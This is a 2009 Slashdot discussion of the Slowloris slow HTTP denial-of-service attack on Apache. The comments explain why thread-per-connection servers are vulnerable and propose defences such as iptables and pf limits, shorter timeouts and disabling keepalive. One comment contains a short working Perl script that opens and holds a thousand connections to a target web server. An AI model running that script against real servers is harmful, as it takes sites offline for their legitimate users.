Forgot your password?
typodupeerror
Security The Internet

Attack On a Significant Flaw In Apache Released 203

Posted by kdawson
from the take-it-slow dept.
Zerimar points out a significant flaw in Apache that can lead to a fairly trivial DoS attack is in the wild. Apache 1.x, 2.x, dhttpd, GoAhead WebServer, and Squid are confirmed vulnerable, while IIS6.0, IIS7.0, and lighttpd are confirmed not vulnerable. As of this writing, Apache Foundation does not have a patch available. From Rsnake's introduction to the attack tool: "In considering the ramifications of a slow denial of service attack against particular services, rather than flooding networks, a concept emerged that would allow a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports. The ideal situation for many denial of service attacks is where all other services remain intact but the webserver itself is completely inaccessible. Slowloris was born from this concept, and is therefore relatively very stealthy compared to most flooding tools."
This discussion has been archived. No new comments can be posted.

Attack On a Significant Flaw In Apache Released

Comments Filter:
  • by The End Of Days (1243248) on Friday June 19, 2009 @09:26AM (#28389665)

    You may have missed the 'not' in the summary there.

  • iptables helps (Score:5, Informative)

    by samjam (256347) on Friday June 19, 2009 @09:30AM (#28389733) Homepage Journal

    You can have perlbal or any reverse proxy on the same machine but listening on a different port and then use iptables to redirect like this

    # iptables -t nat -A -PREROUTING -d ! 127.0.0.1 -p tcp -m tcp --dport 8080 -j REDIRECT --to-ports 80

    and then you don't need to change your apache configuration - and having apache listen on a different port to what users see can break some scripted sites if they read the port number from the apache config.

  • by possible (123857) on Friday June 19, 2009 @09:39AM (#28389877)

    OpenBSD's pf [openbsd.org] firewall has some options that can help mitigate the "single attacker, single source IP" version of this attack. Of course if the attackers decide to spread the attack out over multiple source IPs like a DDoS, this becomes much harder to deal with until Apache has a patch.

    Filter rules that create state entries can specify various options to control the behavior of the resulting state entry. The following options are available:

    max number
    Limit the maximum number of state entries the rule can create to
    number.
    If the maximum is reached, packets that would normally create state
    fail to match this rule until the number of existing states decreases
    below the limit.
    no state
    Prevents the rule from automatically creating a state entry.
    source-track
    This option enables the tracking of number of states created per
    source IP address.

    The total number of source IP addresses tracked globally can be
    controlled via the

    src-nodes runtime option [slashdot.org].

    max-src-nodes number
    When the source-track option is used,
    max-src-nodes will limit the number of source IP addresses that
    can simultaneously create state.
    This option can only be used with source-track rule.
    max-src-states number
    When the source-track option is used,
    max-src-states will limit the number of simultaneous state
    entries that can be created per source IP address.
    The scope of this limit (i.e., states created by this rule only or
    states created by all rules that use source-track) is dependent
    on the source-track option specified.
  • Something like:

    iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 5 --rttl --name SSH -j DROP

    limits to 5 new connections per 60 seconds

  • by natbudin (577028) <natbudin.gmail@com> on Friday June 19, 2009 @09:53AM (#28390073) Homepage
    I just tried it against nginx 0.6.37. The attack appears to work there as well.
  • by Anonymous Coward on Friday June 19, 2009 @09:53AM (#28390091)

    http://httpd.apache.org/docs/2.2/mod/core.html#timeout

    The issue is that the default configuration waits 5 minutes for the full request, which is painfully to long a period of time. Drop that from 300 to 5, and the "attack" goes away. If you are running the default Apache config in production, you shouldn't be.

  • by greed (112493) on Friday June 19, 2009 @09:54AM (#28390101)

    HTTP 1.1 [rfc-editor.org] specifies a status code for "Request Timeout" (408) and "Gateway Timeout" (504).

    What is needed, therefore, is a timer running for receiving the complete header, and a second one for accepting the body. The timer for the body can be controlled by the type of request and the Content-Length header. (With, of course, a specific cap.)

    Currently, Apache 2.2 [apache.org] has a single timeout value for all types of requests, but it is interpreted differently for the different types.

    If your server only handles GETs, the obvious thing is to crank that number down. Unfortunately, for PUTs, the TimeOut value affects inter-packet time in the request, not overall request time.

    Strangely, the timeout doesn't seem to run in 2.2.10 and 2.2.11 before data is received. Oh dear. That's an even simpler DoS.

    #!/usr/bin/env perl

    use IO::Socket::INET;
    use strict;
    use constant DEFAULT_PORT => "http";

    MAIN: {
    if(@ARGV<1 or @ARGV>2) {
    die "Usage: $0 host [port]\n";
    }
    my($host)=shift;
    my($port)=@ARGV?shift:DEFAULT_PORT;

    my(@sockets);

    for(my $cnt=0;$cnt<1000;++$cnt) {
    my $socket=new IO::Socket::INET(PeerAddr=>$host,
    PeerPort=>$port,
    Proto=>"tcp");
    unless(defined($socket)) {
    die "Cannot create socket to $host:$port--$!\n";
    }
    $socket->print("\r\n");
    push(@sockets,$socket);
    print " Have ".@sockets." open.\n";
    }
    }

    Not quite as stealthy, though. At least as above.

  • Re:Why not IIS? (Score:5, Informative)

    by Amouth (879122) on Friday June 19, 2009 @10:03AM (#28390209)

    unless you are using Session()'s in asp in IIS then one thread in IIS handles multiple connections.

    what this is doing is opening a connection (getting a thread to work it) and holding it open (keeping the thread busy) and just keep asking for new ones.

    it is very common (always i think) for Apache and allot of web servers to have a max thread's so that the site under heavy traffic doesn't open more connections than it can handle.

    where IIS also has a worker thread limit - there is no limit *(you can set one - but not on by default) on how many concurrent connections can be managed by a thread (and new incoming connections are passed to the thread with the lowest current work load - not always the one with less connections)..

    if you do what they are doing here i can see IIS behavior would be to slowly pile all these slow - no work connections into one thread and the others would happily go about doing actual work..

    where apache would slowly lose access to workable threads as this keeps them busy.

    this isn't an exploit on the http or tcp protocol - it is an exploit based on the behavior of the web server based on it's best practices for managing it.

  • by Lord Ender (156273) on Friday June 19, 2009 @10:05AM (#28390239) Homepage

    No, it's not. It's holding an HTTP session open. That is not the same thing as a TCP socket.

  • Re:Why not IIS? (Score:2, Informative)

    by Anonymous Coward on Friday June 19, 2009 @10:07AM (#28390263)

    More likely IIS survives because it uses a worker pool threading model (no thread/process is dedicated to a connection, so a connection only takes up memory for the state, not for the thread).

    Apache had, and probably still has, a process/thread-per-connection model.

    So with all due respect, it looks like a proper design decision is what is protecting IIS here:
    http://www.kegel.com/c10k.html
    http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/a63ee1c2-04d6-44dc-b4d6-678eb3117bf9.mspx?mfr=true

  • Re:So slashdot... (Score:5, Informative)

    by jamie (78724) * Works for Slashdot <jamie@slashdot.org> on Friday June 19, 2009 @10:13AM (#28390369) Journal

    We have a hardware load-balancer and a software reverse proxy (varnish) in front of our apache.

    I kinda doubt this would work on us.

    Note, I am not inviting anyone to try. It might work great for all I know :(

  • by ID000001 (753578) on Friday June 19, 2009 @10:18AM (#28390433)

    http://httpd.apache.org/docs/2.2/mod/core.html#timeout

    The issue is that the default configuration waits 5 minutes for the full request, which is painfully to long a period of time. Drop that from 300 to 5, and the "attack" goes away. If you are running the default Apache config in production, you shouldn't be.

    seem like a potential fix, can anyone confirm?

  • by dword (735428) on Friday June 19, 2009 @10:20AM (#28390455)

    Let me make this clearer for those that aren't very technical: It's holding an HTTP session open and Apache has a limited number of simultaneous HTTP sessions.
    All someone has to do is send about 100 requests to your website and leave them open without sending any further information. Nobody else will be able to connect to your web server for a long time. The weekend is coming, so I'm expecting lots of downtime for government sites in the next couple of days...

  • by leuk_he (194174) on Friday June 19, 2009 @10:34AM (#28390651) Homepage Journal

    This type is already known as "attack by a 1000 snails" type attack. It is harder to defned against than you would think. A user can be slow, but coders are hesitant to drop users that ar too slow or too fast.

    A user kan just keep the TCP/IP alive by sending one byte every x seconds. If this is patched at http header level, you will see you can do the same kind of attack on the application, that can have limited php or perl sessions.

  • by Xeriar (456730) on Friday June 19, 2009 @11:20AM (#28391289) Homepage

    A simple connlimit declaration in IPTables shuts this down fairly easily...

  • Re:Why not IIS? (Score:4, Informative)

    by raju1kabir (251972) on Friday June 19, 2009 @11:34AM (#28391487) Homepage

    if you have it set to "any avaliable ip" and the box has 2 ip's your client may request data on IPA:80 and get a reply from IPB:port

    If a client sends a SYN to 10.1.1.1:80 and gets an SYN-ACK from 10.5.5.5:80 then the client will not associate the two as being related, and will keep waiting for a response from 10.1.1.1:80 until timing out.

    You would need to have some sort of DNS arrangement that encouraged clients to make their requests to your various IPs. You can't just respond from a different IP than the client contacted.

  • by amicusNYCL (1538833) on Friday June 19, 2009 @11:42AM (#28391577)

    Not really, it just means you need more than one attacker.

  • Re:Why not IIS? (Score:1, Informative)

    by Anonymous Coward on Friday June 19, 2009 @12:14PM (#28392015)

    That's great, but others like myself have been burned too many times with hacked IIS boxes to ever return. Thanks but fool me once... or something like that..

  • by Megane (129182) on Friday June 19, 2009 @12:21PM (#28392111) Homepage

    If you're going to post links to isc.sans.org, can you please post links to the specific article, and not just the main page?

    Here is the link to the specific article: http://isc.sans.org/diary.html?storyid=6601 [sans.org]

  • by Anonymous Coward on Friday June 19, 2009 @12:43PM (#28392445)
    Th work-around works fine.

    I downloaded the Slowloris and was able to take down a default apache install, however with keepalive disabled and a timeout of 5, the attack became inneffective.

    This may be a problem for sites with users that do long-running POSTs, but since we don't have any of those, all I can say is "It works here . . . "

    For more info: http://httpd.apache.org/docs/trunk/misc/security_tips.html [apache.org]
  • Queuing and timeout (Score:2, Informative)

    by pdxp (1213906) on Friday June 19, 2009 @12:54PM (#28392577)
    IIS worker processes have a request queue. Whether or not you use asynchronous functions to handle requests, there is a fixed maximum number of threads each worker process will run to process requests. While reading from a socket, the worker thread does block but more threads are not spawned to handle connections. Instead, the worker process puts new requests into a queue until more threads are available.

    I believe this works because there is a timeout associated with the completion of a request. Sure, it might be difficult to distinguish a slow DoS from a slow client, but it wouldn't be impossible to set a reasonable time limit on non-POST requests. That would be a relatively easy way to fix the issue in Apache.

    As far as POST goes... well, that's a different (and valid) way to perform a slow DoS attack:

    Server: What would you like? Ham bacon spam, or spam eggs bacon spam with spam?
    Client: I'm actually here to deliver some SPAM!
    Server: How much SPAM?
    Client: SPAM, SPAM, SPAM.... (3 hours later) ... SPAM SPAM SPAM...

    Slowloris can do this too. By default, IIS only reads the up to first 48KB of post data (I see much smaller numbers in practice), at which point the request is sent to an extension/app. Before this, the request doesn't leave the kernel-mode driver (http.sys). The apps can easily ignore the data or read more (on a timeout). I wouldn't be surprised if Lighttpd did the same thing (sans kernel driver).
  • by id (11164) on Friday June 19, 2009 @02:32PM (#28394167) Homepage

    mod_cband has been tested and doesn't have any effect.

  • by Anonymous Coward on Friday June 19, 2009 @03:08PM (#28394815)

    That was tested by the Slowloris guys and it looks like it worked -sorta. See http://ha.ckers.org/blog/20090617/slowloris-http-dos/#comment-105386 for more information.

  • by DavidTC (10147) <slas45dxsvadiv.vadiv@neverb o x . com> on Friday June 19, 2009 @03:53PM (#28395573) Homepage

    You can use fcgid to run PHP in a different process, and then safely run apache multi-threaded. Just FYI for those using PHP.

    It's also a good deal faster, and more stable to boot.

The difficult we do today; the impossible takes a little longer.

Working...